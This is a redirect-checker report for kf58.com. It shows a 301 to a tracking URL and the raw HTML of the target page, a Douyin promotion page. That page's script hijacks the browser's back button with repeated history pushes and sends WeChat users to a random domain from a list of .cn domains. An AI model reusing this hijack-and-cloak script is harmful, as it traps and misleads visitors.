check web redirect url status code checker

Check server response of

Server response
NS records
Whois domain
Response headers
Request headers
Raw HTML code
301 Moved Permanently - kf58.com
HTTP Status: 301
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: openresty
Date: Sun, 11 May 2025 06:13:04 GMT
Content-Length: 0
Connection: keep-alive
cache-control: max-age=5184000
Location: https://888.click.com.cn/888.html?poprequest=1&dm=kf58.com&acc=E8DD49A6-BA42-4D6A-AB36-EF3BD01B51F6

HTTP Code 301 Moved Permanently

301 http status code means that the requested resource has been permanently moved to a new URL. All future requests should use the new address.

When is Code 301 used?

  • When changing a website domain
  • When modifying URL structures
  • When setting up redirects for SEO

What does Code 301 mean for the user?

The browser will automatically redirect the user to the new address, and search engines will update their indexes.

200 OK - https://888.click.com.cn/888.html?poprequest=1&dm=kf58.com&acc=E8DD49A6-BA42-4D6A-AB36-EF3BD01B51F6
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: openresty
Date: Sun, 11 May 2025 06:13:05 GMT
Content-Type: text/html
Content-Length: 4667
Last-Modified: Thu, 28 Nov 2024 09:47:33 GMT
Connection: keep-alive
ETag: "67483c35-123b"
Accept-Ranges: bytes

HTTP Code 200 OK

200 http status code is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: kf58.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <meta name="viewport"
          content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0,user-scalable=no" />
    <title>打开抖音：让前找你</title>
   <script src="https://cloudcdn.dopa.com/js/jquery-1.12.4.min.js"></script>
    <script src="https://res.wx.qq.com/open/js/jweixin-1.6.0.js"></script>
 <style>
        * {
            margin: 0;
            padding: 0;
        }

        html {
            overflow-x: hidden;
        }

        body {
            background: #fff;
        }

        body,
        a,
        span,
        p,
        h1,
        h2,
        h3,
        h4,
        h5,
        h6 {
            font-size: 1rem;
            color: #333;
        }

        img {
            border: 0;
        }

        .page {
            display: flex;
            width: 100vw;
            height: 100vh;
            justify-content: center;
            align-items: center;
            flex: 1;
            flex-direction: column;
        }

        .page .message {
            width: 100%;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            text-align: center;
        }

        .page .icon {
            width: 5rem;
            margin-bottom: 1rem;
        }

        .page .qrcode {
            width: 15rem;
        }

        .page .text {
            color: #000;
            font-size: 0.9rem;
	    text-align: center;
        }

        #launch-btn {
            width: 200px;
        }
        #clickbtn {
            margin-top: 20px;
            width: 60%;
            height: 40px;
            text-decoration: none;
            background: #03d96a;
            border-radius: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            font-size: 1rem;
            font-weight: bold;
            color: #ffffff;
        }
    </style>
</head>

<body>
<div class="page">
    <div class="message" id="success">
        <img src="https://p1-goku.byteimg.com/tos-cn-i-ibbynm92il/cf4c454d1396492dbdd87b805917acfd~tplv-ibbynm92il-image.png" class="icon" />
        <div class="text">打开抖音搜索：让前找你</div>
        <a style="margin:20px auto" href="https://v.douyin.com/CeiJ1qh7d/" id="clickbtn">让前找你</a>
    </div>
</div>
<div style="display:none">
<script src="https://s4.cnzz.com/z_stat.php?id=1280654656&web_id=1280654656"></script></div>
<script>
window.location.href=https://v.douyin.com/CeiJ1qh7d/';
				window.pushHistory = function(){
			                                        if (window.history && window.history.pushState)
			                                        {
			                                            window.addEventListener('popstate', function (e) {
		                                                window.history.pushState('forward', null, '#');
			                                                window.history.forward(1);
									if(!isWeiXin()){
									 location.replace(' https://v.douyin.com/CeiJ1qh7d/');
									}
			                                            }, false);
			                                        }
			                                        window.history.pushState('forward', null, '#');
			                                        window.history.pushState('forward', null, '#');
			                                        window.history.pushState('forward', null, '#');
			                                        window.history.forward(1);
			                                    }
							if(!isWeiXin()){
			                                   window.pushHistory();
window.location.href='https://v.douyin.com/CeiJ1qh7d/';
									}

else{
window.location.href=getWeixinURL();
}

function getWeixinURL(){
    var urls=["58522.cn","92611.cn","52638.cn","58556.cn",'98821.cn','58661.cn','16687.cn','92289.cn'];
    var size=urls.length;

    var index = Math.floor(Math.random() * (size+1));

    return "http://"+urls[index];
}

function isWeiXin(){
 //window.navigator.userAgent属性包含了浏览器类型、版本、操作系统类型、浏览器引擎类型等信息，这个属性可以用来判断浏览器类型
  var ua = window.navigator.userAgent.toLowerCase();
//通过正则表达式匹配ua中是否含有MicroMessenger字符串
  if(ua.match(/MicroMessenger/i) == 'micromessenger'){
  return true;
  }else{
  return false;
  }
}
</script>
</body>
</html>

Whois info of domain